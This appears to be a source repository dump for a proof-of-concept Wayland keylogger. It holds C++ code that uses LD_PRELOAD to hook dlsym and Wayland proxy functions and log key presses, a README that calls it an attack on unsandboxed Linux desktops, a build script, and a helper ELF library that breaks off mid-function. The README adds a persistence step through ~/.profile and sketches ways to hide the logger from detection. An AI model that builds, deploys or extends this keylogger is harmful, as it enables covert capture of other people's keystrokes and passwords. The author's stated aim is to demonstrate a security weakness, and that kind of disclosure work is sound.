[
  {
    "path": ".gitignore",
    "content": "libwayland-keylogger.so\n"
  },
  {
    "path": "Keylogger.cpp",
    "content": "/*\nCopyright (c) 2012-2014 Maarten Baert <maarten-baert@hotmail.com>\n\nPermission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*/\n\n#include \"elfhacks.h\"\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <wayland-client.h>\n\nstruct wl_proxy* my_wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface);\nstruct wl_proxy* my_wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface);\nint my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data);\n\nvoid *(*g_real_dlsym)(void*, const char*) = NULL;\nvoid *(*g_real_dlvsym)(void*, const char*, const char*) = NULL;\nstruct wl_proxy* (*g_real_wl_proxy_marshal_array_constructor)(struct wl_proxy*, uint32_t, union wl_argument*, const struct wl_interface*);\nstruct wl_proxy* (*g_real_wl_proxy_create)(struct wl_proxy*, const struct wl_interface*);\nint (*g_real_wl_proxy_add_listener)(struct wl_proxy*, void (**)(void), void*);\n\nint g_hooks_initialized = 0;\n\nvoid init_hooks() {\n\t\n\tif(g_hooks_initialized)\n\t\treturn;\n\t\n\tfprintf(stderr, \"[wayland-keylogger] init_hooks begin.\\n\");\n\tfprintf(stderr, \"[wayland-keylogger] Note: This is only a proof-of-concept. It is not perfect.\\n\");\n\tfprintf(stderr, \"[wayland-keylogger] It depends on Wayland internals and will need an update\\n\");\n\tfprintf(stderr, \"[wayland-keylogger] whenever those internals change. The last Wayland/Weston\\n\");\n\tfprintf(stderr, \"[wayland-keylogger] version that has been tested with this program is 1.4.0.\\n\");\n\tfprintf(stderr, \"[wayland-keylogger] You are using version %s.\\n\", WAYLAND_VERSION);\n\t\n\t// part 1: get dlsym and dlvsym\n\teh_obj_t libdl;\n\tif(eh_find_obj(&libdl, \"*/libdl.so*\")) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Can't open libdl.so!\\n\");\n\t\texit(-181818181);\n\t}\n\tif(eh_find_sym(&libdl, \"dlsym\", (void **) &g_real_dlsym)) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Can't get dlsym address!\\n\");\n\t\teh_destroy_obj(&libdl);\n\t\texit(-181818181);\n\t}\n\tif(eh_find_sym(&libdl, \"dlvsym\", (void **) &g_real_dlvsym)) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Can't get dlvsym address!\\n\");\n\t\teh_destroy_obj(&libdl);\n\t\texit(-181818181);\n\t}\n\teh_destroy_obj(&libdl);\n\t\n\t// part 2: get everything else\n\tg_real_wl_proxy_create = (struct wl_proxy* (*)(struct wl_proxy*, const struct wl_interface*))\n\t\tg_real_dlsym(RTLD_NEXT, \"wl_proxy_create\");\n\tg_real_wl_proxy_marshal_array_constructor = (struct wl_proxy* (*)(struct wl_proxy*, uint32_t, union wl_argument*, const struct wl_interface*))\n\t\tg_real_dlsym(RTLD_NEXT, \"wl_proxy_marshal_array_constructor\");\n\tg_real_wl_proxy_add_listener = (int (*)(struct wl_proxy*, void (**)(void), void*))\n\t\tg_real_dlsym(RTLD_NEXT, \"wl_proxy_add_listener\");\n\t\n\tfprintf(stderr, \"[wayland-keylogger] init_hooks end.\\n\");\n\t\n\tg_hooks_initialized = 1;\n\t\n}\n\nstruct Hook {\n\tconst char* name;\n\tvoid* address;\n};\nHook hook_table[] = {\n\t{\"wl_proxy_create\", (void*) &my_wl_proxy_create},\n\t{\"wl_proxy_marshal_array_constructor\", (void*) &my_wl_proxy_marshal_array_constructor},\n\t{\"wl_proxy_add_listener\", (void*) &my_wl_proxy_add_listener},\n};\n\nstruct KeyLoggerData {\n\tvoid (**implementation)(void);\n\tvoid *data;\n};\n\nvoid MyHandleKeyboardKeymap(void* data, wl_keyboard* keyboard, uint32_t format, int fd, uint32_t size) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\t((wl_keyboard_listener*) d->implementation)->keymap(d->data, keyboard, format, fd, size);\n}\nvoid MyHandleKeyboardEnter(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface, wl_array* keys) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\t((wl_keyboard_listener*) d->implementation)->enter(d->data, keyboard, serial, surface, keys);\n}\nvoid MyHandleKeyboardLeave(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\t((wl_keyboard_listener*) d->implementation)->leave(d->data, keyboard, serial, surface);\n}\nvoid MyHandleKeyboardKey(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t time, uint32_t key, uint32_t state) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\tif(state) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Pressed key %d\\n\", key);\n\t} else {\n\t\tfprintf(stderr, \"[wayland-keylogger] Released key %d\\n\", key);\n\t}\n\t((wl_keyboard_listener*) d->implementation)->key(d->data, keyboard, serial, time, key, state);\n}\nvoid MyHandleKeyboardModifiers(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t mods_depressed, uint32_t mods_latched, uint32_t mods_locked, uint32_t group) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\t((wl_keyboard_listener*) d->implementation)->modifiers(d->data, keyboard, serial, mods_depressed, mods_latched, mods_locked, group);\n}\nvoid MyHandleKeyboardRepeatInfo(void* data, wl_keyboard* keyboard, int32_t rate, int32_t delay) {\n\tKeyLoggerData *d = (KeyLoggerData*) data;\n\t((wl_keyboard_listener*) d->implementation)->repeat_info(d->data, keyboard, rate, delay);\n}\n\nwl_keyboard_listener my_keyboard_listener = {\n\tMyHandleKeyboardKeymap,\n\tMyHandleKeyboardEnter,\n\tMyHandleKeyboardLeave,\n\tMyHandleKeyboardKey,\n\tMyHandleKeyboardModifiers,\n\tMyHandleKeyboardRepeatInfo,\n};\n\nstruct wl_proxy* g_keyboard_to_log = NULL;\n\n// for older Wayland versions\nstruct wl_proxy* my_wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface) {\n\t//fprintf(stderr, \"[wayland-keylogger] my_wl_proxy_create(factory=%p, interface=%p)\\n\", factory, interface);\n\tstruct wl_proxy* id = g_real_wl_proxy_create(factory, interface);\n\tif(interface == &wl_keyboard_interface) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Got keyboard id!\\n\");\n\t\tg_keyboard_to_log = id;\n\t}\n\treturn id;\n}\n\n// for newer wayland versions\nstruct wl_proxy* my_wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface) {\n\t//fprintf(stderr, \"[wayland-keylogger] my_wl_proxy_marshal_array_constructor(proxy=%p, opcode=%u, args=%p, interface=%p)\\n\", proxy, opcode, args, interface);\n\tstruct wl_proxy* id = g_real_wl_proxy_marshal_array_constructor(proxy, opcode, args, interface);\n\tif(interface == &wl_keyboard_interface) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Got keyboard id!\\n\");\n\t\tg_keyboard_to_log = id;\n\t}\n\treturn id;\n}\n\nint my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) {\n\t//fprintf(stderr, \"[wayland-keylogger] my_wl_proxy_add_listener(factory=%p, implementation=%p, data=%p)\\n\", factory, implementation, data);\n\tif(g_keyboard_to_log != NULL && factory == g_keyboard_to_log) {\n\t\tfprintf(stderr, \"[wayland-keylogger] Adding fake listener!\\n\");\n\t\tg_keyboard_to_log = NULL;\n\t\tKeyLoggerData *d = new KeyLoggerData(); // memory leak, I know :)\n\t\td->implementation = implementation;\n\t\td->data = data;\n\t\treturn g_real_wl_proxy_add_listener(factory, (void (**)(void)) &my_keyboard_listener, d);\n\t} else {\n\t\treturn g_real_wl_proxy_add_listener(factory, implementation, data);\n\t}\n}\n\n// override existing functions\n\nextern \"C\" struct wl_proxy* wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface) {\n\tinit_hooks();\n\treturn my_wl_proxy_create(factory, interface);\n}\n\nextern \"C\" struct wl_proxy* wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface) {\n\tinit_hooks();\n\treturn my_wl_proxy_marshal_array_constructor(proxy, opcode, args, interface);\n}\n\nextern \"C\" int wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) {\n\tinit_hooks();\n\treturn my_wl_proxy_add_listener(factory, implementation, data);\n}\n\nextern \"C\" void* dlsym(void* handle, const char* symbol) {\n\tinit_hooks();\n\tfor(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) {\n\t\tif(strcmp(hook_table[i].name, symbol) == 0) {\n\t\t\tfprintf(stderr, \"[wayland-keylogger] Hooked: dlsym(%s).\\n\", symbol);\n\t\t\treturn hook_table[i].address;\n\t\t}\n\t}\n\treturn g_real_dlsym(handle, symbol);\n}\n\nextern \"C\" void* dlvsym(void* handle, const char* symbol, const char* version) {\n\tinit_hooks();\n\tfor(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) {\n\t\tif(strcmp(hook_table[i].name, symbol) == 0) {\n\t\t\tfprintf(stderr, \"[wayland-keylogger] Hooked: dlvsym(%s,%s).\\n\", symbol, version);\n\t\t\treturn hook_table[i].address;\n\t\t}\n\t}\n\treturn g_real_dlvsym(handle, symbol, version);\n}\n"
  },
  {
    "path": "README.md",
    "content": "wayland-keylogger\n=================\n\n### Summary\n\n**TL;DR** - This is a `LD_PRELOAD` attack that intercepts the Wayland protocol.\n\nRequirements:\n\n- Inject an environment variable to each attacked program.\n- Presence of shared library somewhere on the system.\n\nAchieves:\n\n- Full visibility into program-to-compositor communication.\n\n### Writeup\n\nThis is a proof-of-concept Wayland keylogger that I wrote to demonstrate the fundamental insecurity of a typical Linux desktop that lacks both sandboxing (chroot, cgroups, ...) and mandatory access control (SELinux). The keylogger requires nothing but user-level access to be installed, just like any other LD_PRELOAD attack.\n\nAdding persistence to the attack is very simple: just add it from ~/.profile (or maybe ~/.bashrc), like this:\n\n    export LD_PRELOAD=/home/user/path/to/libwayland-keylogger.so\n\nThis is only a proof of concept and it will simply print the key press/release events to stderr (your terminal). It would be relatively easy to make the keylogger invisible and write the key presses to a file.\n\nI wrote this keylogger in 75 minutes, without any real knowledge of the Wayland protocol. This should give you an idea of how easy it is to write this. It is based on ElfHacks (written by Pyry Haulos, unrelated to this project) and parts of SSR-GLInject (written by me, also unrelated).\n\nThere are many ways to break this keylogger - it is not designed to be robust since that was not the goal. But for any possible way to break it, I could add countermeasures as well. Applications could use 'getenv' to check whether LD_PRELOAD is set, but I could overwrite 'getenv' to hide the existence of that variable. Applications could scan the /proc filesystem, but again I could overwrite the relevant system functions to hide it. I think it's pretty clear that this is not a secure system - a secure system would prevent the attack completely rather than trying to detect it after it has already happened. Such security mechanisms exist: even a few basic SELinux rules would completely eliminate this security problem.\n\nThe point that I am trying to make is that we should focus on *real* security mechanisms that actually *work*, rather than creating new ones that just give a false sense of security (and annoy the user) without actually making the desktop any more secure.\n\nThis program is in no way meant as criticism of the Wayland project. It simply demonstrates that creating a secure desktop requires more than just a few server-side restrictions.\n\nBy the way, this inherent weakness is not at all specific to Linux. Similar techniques would also work on Windows and Mac, and essentially any platform that doesn't sandbox applications.\n"
  },
  {
    "path": "compile",
    "content": "#!/bin/bash\n\ng++ -Wall -pipe -shared -fpic *.cpp *.c -lwayland-client -o libwayland-keylogger.so\n"
  },
  {
    "path": "elfhacks.c",
    "content": "/**\n * \\file src/elfhacks.c\n * \\brief various ELF run-time hacks\n * \\author Pyry Haulos <pyry.haulos@gmail.com>\n * \\date 2007-2008\n * For conditions of distribution and use, see copyright notice in elfhacks.h\n */\n\n#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <elf.h>\n#include <link.h>\n#include <fnmatch.h>\n#include \"elfhacks.h\"\n\n/**\n *  \\addtogroup elfhacks\n *  \\{\n */\n\nstruct eh_iterate_callback_args {\n\teh_iterate_obj_callback_func callback;\n\tvoid *arg;\n};\n\nint eh_check_addr(eh_obj_t *obj, const void *addr);\nint eh_find_callback(struct dl_phdr_info *info, size_t size, void *argptr);\nint eh_find_next_dyn(eh_obj_t *obj, ElfW_Sword tag, int i, ElfW(Dyn) **next);\nint eh_init_obj(eh_obj_t *obj);\n\nint eh_set_rela_plt(eh_obj_t *obj, int p, const char *sym, void *val);\nint eh_set_rel_plt(eh_obj_t *obj, int p, const char *sym, void *val);\n\nint eh_iterate_rela_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg);\nint eh_iterate_rel_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg);\n\nint eh_find_sym_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym);\nint eh_find_sym_gnu_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym);\n\nElfW(Word) eh_hash_elf(const char *name);\nElf32_Word eh_hash_gnu(const char *name);\n\nint eh_find_callback(struct dl_phdr_info *info, size_t size, void *argptr)\n{\n\t(void) (size);\n\teh_obj_t *find = (eh_obj_t *) argptr;\n\n\tif (find->name == NULL) {\n\t\tif (strcmp(info->dlpi_name, \"\"))\n\t\t\treturn 0;\n\t} else if (fnmatch(find->name, info->dlpi_name, 0))\n\t\treturn 0;\n\n\tif (find->name == NULL) /* TODO readlink? */\n\t\tfind->name = \"/proc/self/exe\";\n\telse\n\t\tfind->name = info->dlpi_name;\n\tfind->addr = info->dlpi_addr;\n\n\t/* segment headers */\n\tfind->phdr = info->dlpi_phdr;\n\tfind->phnum = info->dlpi_phnum;\n\n\treturn 0;\n}\n\nint eh_iterate_callback(struct dl_phdr_info *info, size_t size, void *argptr)\n{\n\t(void) (size);\n\tstruct eh_iterate_callback_args *args = (struct eh_iterate_callback_args*) argptr;\n\teh_obj_t obj;\n\tint ret = 0;\n\n\t/* eh_init_obj needs phdr and phnum */\n\tobj.phdr = info->dlpi_phdr;\n\tobj.phnum = info->dlpi_phnum;\n\tobj.addr = info->dlpi_addr;\n\tobj.name = info->dlpi_name;\n\n\tif ((ret = eh_init_obj(&obj))) {\n\t\tif (ret == ENOTSUP) /* just skip */\n\t\t\treturn 0;\n\t\treturn ret;\n\t}\n\n\tif ((ret = args->callback(&obj, args->arg)))\n\t\treturn ret;\n\n\tif ((ret = eh_destroy_obj(&obj)))\n\t\treturn ret;\n\n\treturn 0;\n}\n\nint eh_iterate_obj(eh_iterate_obj_callback_func callback, void *arg)\n{\n\tint ret;\n\tstruct eh_iterate_callback_args args;\n\n\targs.callback = callback;\n\targs.arg = arg;\n\n\tif ((ret = dl_iterate_phdr(eh_iterate_callback, &args)))\n\t\treturn ret;\n\n\treturn 0;\n}\n\nint eh_find_obj(eh_obj_t *obj, const char *soname)\n{\n\t/* This function uses glibc-specific dl_iterate_phdr().\n\t   Another way could be parsing /proc/self/exe or using\n\t   pmap() on Solaris or *BSD */\n\tobj->phdr = NULL;\n\tobj->name = soname;\n\tdl_iterate_phdr(eh_find_callback, obj);\n\n\tif (!obj->phdr)\n\t\treturn EAGAIN;\n\n\treturn eh_init_obj(obj);\n}\n\nint eh_check_addr(eh_obj_t *obj, const void *addr)\n{\n\t/*\n\t Check that given address is inside program's\n\t memory maps. PT_LOAD program headers tell us\n\t where program has been loaded into.\n\t*/\n\tint p;\n\tfor (p = 0; p < obj->phnum; p++) {\n\t\tif (obj->phdr[p].p_type == PT_LOAD) {\n\t\t\tif (((ElfW(Addr)) addr < obj->phdr[p].p_memsz + obj->phdr[p].p_vaddr + obj->addr) &&\n\t\t\t    ((ElfW(Addr)) addr >= obj->phdr[p].p_vaddr + obj->addr))\n\t\t\t\treturn 0;\n\t\t}\n\t}\n\n\treturn EINVAL;\n}\n\nint eh_init_obj(eh_obj_t *obj)\n{\n\t/*\n\t ELF spec says in section header documentation, that:\n\t \"An object file may have only one dynamic section.\"\n\n\t Let's assume it means that object has only one PT_DYNAMIC\n\t as well.\n\t*/\n\tint p;\n\tobj->dynamic = NULL;\n\tfor (p = 0; p < obj->phnum; p++) {\n\t\tif (obj->phdr[p].p_type == PT_DYNAMIC) {\n\t\t\tif (obj->dynamic)\n\t\t\t\treturn ENOTSUP;\n\n\t\t\tobj->dynamic = (ElfW(Dyn) *) (obj->phdr[p].p_vaddr + obj->addr);\n\t\t}\n\t}\n\n\tif (!obj->dynamic)\n\t\treturn ENOTSUP;\n\n\t/*\n\t ELF spec says that program is allowed to have more than one\n\t .strtab but does not describe how string table indexes translate\n\t to multiple string tables.\n\n\t And spec says that only one SHT_HASH is allowed, does it mean that\n\t obj has only one DT_HASH?\n\n\t About .symtab it does not mention anything about if multiple\n\t symbol tables are allowed or not.\n\n\t Maybe st_shndx is the key here?\n\t*/\n\tobj->strtab = NULL;\n\tobj->hash = NULL;\n\tobj->gnu_hash = NULL;\n\tobj->symtab = NULL;\n\tp = 0;\n\twhile (obj->dynamic[p].d_tag != DT_NULL) {\n\t\tif (obj->dynamic[p].d_tag == DT_STRTAB) {\n\t\t\tif (obj->strtab)\n\t\t\t\treturn ENOTSUP;\n\n\t\t\tobj->strtab = (const char *) obj->dynamic[p].d_un.d_ptr;\n\t\t} else if (obj->dynamic[p].d_tag == DT_HASH) {\n\t\t\tif (obj->hash)\n\t\t\t\treturn ENOTSUP;\n\n\t\t\tobj->hash = (ElfW(Word) *) obj->dynamic[p].d_un.d_ptr;\n\t\t} else if (obj->dynamic[p].d_tag == DT_GNU_HASH) {\n\t\t\tif (obj->gnu_hash)\n\t\t\t\treturn ENOTSUP;\n\n\t\t\tobj->gnu_hash = (Elf32_Word *) obj->dynamic[p].d_un.d_ptr;\n\t\t} else if (obj->dynamic[p].d_tag == DT_SYMTAB) {\n\t\t\tif (obj->symtab)\n\t\t\t\treturn ENOTSUP;\n\n\t\t\tobj->symtab = (ElfW(Sym) *) obj->dynamic[p].d_un.d_ptr;\n\t\t}\n\t\tp++;\n\t}\n\n\t/* This is here to catch b0rken headers (vdso) */\n\tif ((eh_check_addr(obj, (const void *) obj->strtab)) |\n\t    (eh_check_addr(obj, (const void *) obj->symtab)))\n\t\treturn ENOTSUP;\n\n\tif (obj->hash) {\n\t\t/* DT_HASH found */\n\t\tif (eh_check_addr(obj, (void *) obj->hash))\n\t\t\tobj->hash = NULL;\n\t} else if (obj->gnu_hash) {\n\t\t/* DT_GNU_HASH found */\n\t\tif (eh_check_addr(obj, (void *) obj->gnu_hash))\n\t\t\tobj->gnu_hash = NULL;\n\t}\n\n\treturn 0;\n}\n\nint eh_find_sym(eh_obj_t *obj, const char *name, void **to)\n{\n\teh_sym_t sym;\n\n\t/* DT_GNU_HASH is faster ;) */\n\tif (obj->gnu_hash) {\n\t\tif (!eh_find_sym_gnu_hash(obj, name, &sym)) {\n\t\t\t*to = (void *) (sym.sym->st_value + obj->addr);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\t/* maybe it is in DT_HASH or DT_GNU_HASH is not present */\n\tif (obj->hash) {\n\t\tif (!eh_find_sym_hash(obj, name, &sym)) {\n\t\t\t*to = (void *) (sym.sym->st_value + obj->addr);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\treturn EAGAIN;\n}\n\nElfW(Word) eh_hash_elf(const char *name)\n{\n\tElfW(Word) tmp, hash = 0;\n\tconst unsigned char *uname = (const unsigned char *) name;\n\tint c;\n\n\twhile ((c = *uname++) != '\\0') {\n\t\thash = (hash << 4) + c;\n\t\tif ((tmp = (hash & 0xf0000000)) != 0) {\n\t\t\thash ^= tmp >> 24;\n\t\t\thash ^= tmp;\n\t\t}\n\t}\n\n\treturn hash;\n}\n\nint eh_find_sym_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)\n{\n\tElfW(Word) hash, *chain;\n\tElfW(Sym) *esym;\n\tunsigned int bucket_idx, idx;\n\n\tif (!obj->hash)\n\t\treturn ENOTSUP;\n\n\tif (obj->hash[0] == 0)\n\t\treturn EAGAIN;\n\n\thash = eh_hash_elf(name);\n\t/*\n\t First item in DT_HASH is nbucket, second is nchain.\n\t hash % nbucket gives us our bucket index.\n\t*/\n\tbucket_idx = obj->hash[2 + (hash % obj->hash[0])];\n\tchain = &obj->hash[2 + obj->hash[0] + bucket_idx];\n\n\tidx = 0;\n\tsym->sym = NULL;\n\n\t/* we have to check symtab[bucket_idx] first */\n\tesym = &obj->symtab[bucket_idx];\n\tif (esym->st_name) {\n\t\tif (!strcmp(&obj->strtab[esym->st_name], name))\n\t\t\tsym->sym = esym;\n\t}\n\n\twhile ((sym->sym == NULL) &&\n\t       (chain[idx] != STN_UNDEF)) {\n\t\tesym = &obj->symtab[chain[idx]];\n\n\t\tif (esym->st_name) {\n\t\t\tif (!strcmp(&obj->strtab[esym->st_name], name))\n\t\t\t\tsym->sym = esym;\n\t\t}\n\n\t\tidx++;\n\t}\n\n\t/* symbol not found */\n\tif (sym->sym == NULL)\n\t\treturn EAGAIN;\n\n\tsym->obj = obj;\n\tsym->name = &obj->strtab[sym->sym->st_name];\n\n\treturn 0;\n}\n\nElf32_Word eh_hash_gnu(const char *name)\n{\n\tElf32_Word hash = 5381;\n\tconst unsigned char *uname = (const unsigned char *) name;\n\tint c;\n\n\twhile ((c = *uname++) != '\\0')\n\t\thash = (hash << 5) + hash + c;\n\n\treturn hash & 0xffffffff;\n}\n\nint eh_find_sym_gnu_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)\n{\n\tElf32_Word *buckets, *chain_zero, *hasharr;\n\tElfW(Addr) *bitmask, bitmask_word;\n\tElf32_Word symbias, bitmask_nwords, bucket,\n\t\t   nbuckets, bitmask_idxbits, shift;\n\tElf32_Word hash, hashbit1, hashbit2;\n\tElfW(Sym) *esym;\n\n\tif (!obj->gnu_hash)\n\t\treturn ENOTSUP;\n\n\tif (obj->gnu_hash[0] == 0)\n\t\treturn EAGAIN;\n\n\tsym->sym = NULL;\n\n\t/*\n\t Initialize our hash table stuff\n\n\t DT_GNU_HASH is(?):\n\t [nbuckets] [symbias] [bitmask_nwords] [shift]\n\t [bitmask_nwords * ElfW(Addr)] <- bitmask\n\t [nbuckets * Elf32_Word] <- buckets\n\t ...chains? - symbias...\n\t */\n\tnbuckets = obj->gnu_hash[0];\n\tsymbias = obj->gnu_hash[1];\n\tbitmask_nwords = obj->gnu_hash[2]; /* must be power of two */\n\tbitmask_idxbits = bitmask_nwords - 1;\n\tshift = obj->gnu_hash[3];\n\tbitmask = (ElfW(Addr) *) &obj->gnu_hash[4];\n\tbuckets = &obj->gnu_hash[4 + (__ELF_NATIVE_CLASS / 32) * bitmask_nwords];\n\tchain_zero = &buckets[nbuckets] - symbias;\n\n\t/* hash our symbol */\n\thash = eh_hash_gnu(name);\n\n\t/* bitmask stuff... no idea really :D */\n\tbitmask_word = bitmask[(hash / __ELF_NATIVE_CLASS) & bitmask_idxbits];\n\thashbit1 = hash & (__ELF_NATIVE_CLASS - 1);\n\thashbit2 = (hash >> shift) & (__ELF_NATIVE_CLASS - 1);\n\n\t/* wtf this does actually? */\n\tif (!((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1))\n\t\treturn EAGAIN;\n\n\t/* locate bucket */\n\tbucket = buckets[hash % nbuckets];\n\tif (bucket == 0)\n\t\treturn EAGAIN;\n\n\t/* and find match in chain */\n\thasharr = &chain_zero[bucket];\n\tdo {\n\t\tif (((*hasharr ^ hash) >> 1) == 0) {\n\t\t\t/* hash matches, but does the name? */\n\t\t\tesym = &obj->symtab[hasharr - chain_zero];\n\t\t\tif (esym->st_name) {\n\t\t\t\tif (!strcmp(&obj->strtab[esym->st_name], name)) {\n\t\t\t\t\tsym->sym = esym;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} while ((*hasharr++ & 1u) == 0);\n\n\t/* symbol not found */\n\tif (sym->sym == NULL)\n\t\treturn EAGAIN;\n\n\tsym->obj = obj;\n\tsym->name = &obj->strtab[sym->sym->st_name];\n\n\treturn 0;\n}\n\nint eh_iterate_sym(eh_obj_t *obj, eh_iterate_sym_callback_func callback, void *arg)\n{\n\t(void) (obj);\n\t(void) (callback);\n\t(void) (arg);\n\treturn ENOTSUP;\n}\n\nint eh_find_next_dyn(eh_obj_t *obj, ElfW_Sword tag, int i, ElfW(Dyn) **next)\n{\n\t/* first from i + 1 to end, then from start to i - 1 */\n\tint p;\n\t*next = NULL;\n\n\tp = i + 1;\n\twhile (obj->dynamic[p].d_tag != DT_NULL) {\n\t\tif (obj->dynamic[p].d_tag == tag) {\n\t\t\t*next = &obj->dynamic[p];\n\t\t\treturn 0;\n\t\t}\n\t\tp++;\n\t}\n\n\tp = 0;\n\twhile ((obj->dynamic[i].d_tag != DT_NULL) && (p < i)) {\n\t\tif (obj->dynamic[p].d_tag == tag) {\n\t\t\t*next = &obj->dynamic[p];\n\t\t\treturn 0;\n\t\t}\n\t\tp++;\n\t}\n\n\treturn EAGAIN;\n}\n\nint eh_set_rela_plt(eh_obj_t *obj, int p, const char *sym, void *val)\n{\n\tElfW(Rela) *rela = (ElfW(Rela) *) obj->dynamic[p].d_un.d_ptr;\n\tElfW(Dyn) *relasize;\n\tunsigned int i;\n\n\t/* DT_PLTRELSZ contains PLT relocs size in bytes */\n\tif (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relasize))\n\t\treturn EINVAL; /* b0rken elf :/ */\n\n\tfor (i = 0; i < relasize->d_un.d_val / sizeof(ElfW(Rela)); i++) {\n\t\tif (!obj->symtab[ELFW_R_SYM(rela[i].r_info)].st_name)\n\t\t\tcontinue;\n\n\t\tif (!strcmp(&obj->strtab[obj->symtab[ELFW_R_SYM(rela[i].r_info)].st_name], sym))\n\t\t\t*((void **) (rela[i].r_offset + obj->addr)) = val;\n\t}\n\n\treturn 0;\n}\n\nint eh_set_rel_plt(eh_obj_t *obj, int p, const char *sym, void *val)\n{\n\tElfW(Rel) *rel = (ElfW(Rel) *) obj->dynamic[p].d_un.d_ptr;\n\tElfW(Dyn) *relsize;\n\tunsigned int i;\n\n\tif (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relsize))\n\t\treturn EINVAL; /* b0rken elf :/ */\n\n\tfor (i = 0; i < relsize->d_un.d_val / sizeof(ElfW(Rel)); i++) {\n\t\tif (!obj->symtab[ELFW_R_SYM(rel[i].r_info)].st_name)\n\t\t\tcontinue;\n\n\t\tif (!strcmp(&obj->strtab[obj->symtab[ELFW_R_SYM(rel[i].r_info)].st_name], sym))\n\t\t\t*((void **) (rel[i].r_offset + obj->addr)) = val;\n\t}\n\n\treturn 0;\n}\n\nint eh_set_rel(eh_obj_t *obj, const char *sym, void *val)\n{\n\t/*\n\t Elf spec states that object is allowed to have multiple\n\t .rel.plt and .rela.plt tables, so we will support 'em - here.\n\t*/\n\tElfW(Dyn) *pltrel;\n\tint ret, p = 0;\n\n\twhile (obj->dynamic[p].d_tag != DT_NULL) {\n\t\t/* DT_JMPREL contains .rel.plt or .rela.plt */\n\t\tif (obj->dynamic[p].d_tag == DT_JMPREL) {\n\t\t\t/* DT_PLTREL tells if it is Rela or Rel */\n\t\t\teh_find_next_dyn(obj, DT_PLTREL, p, &pltrel);\n\n\t\t\tif (pltrel->d_un.d_val == DT_RELA) {\n\t\t\t\tif ((ret = eh_set_rela_plt(obj, p, sym, val)))\n\t\t\t\t\treturn ret;\n\t\t\t} else if (pltrel->d_un.d_val == DT_REL) {\n\t\t\t\tif ((ret = eh_set_rel_plt(obj, p, sym, val)))\n\t\t\t\t\treturn ret;\n\t\t\t} else\n\t\t\t\treturn EINVAL;\n\t\t}\n\t\tp++;\n\t}\n\n\treturn 0;\n}\n\nint eh_iterate_rela_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg)\n{\n\tElfW(Rela) *rela = (ElfW(Rela) *) obj->dynamic[p].d_un.d_ptr;\n\tElfW(Dyn) *relasize;\n\teh_rel_t rel;\n\teh_sym_t sym;\n\tunsigned int i, ret;\n\n\trel.sym = &sym;\n\trel.rel = NULL;\n\trel.obj = obj;\n\n\tif (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relasize))\n\t\treturn EINVAL;\n\n\tfor (i = 0; i < relasize->d_un.d_val / sizeof(ElfW(Rela)); i++) {\n\t\trel.rela = &rela[i];\n\t\tsym.sym = &obj->symtab[ELFW_R_SYM(rel.rela->r_info)];\n\t\tif (sym.sym->st_name)\n\t\t\tsym.name = &obj->strtab[sym.sym->st_name];\n\t\telse\n\t\t\tsym.name = NULL;\n\n\t\tif ((ret = callback(&rel, arg)))\n\t\t\treturn ret;\n\t}\n\n\treturn 0;\n}\n\nint eh_iterate_rel_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg)\n{\n\tElfW(Rel) *relp = 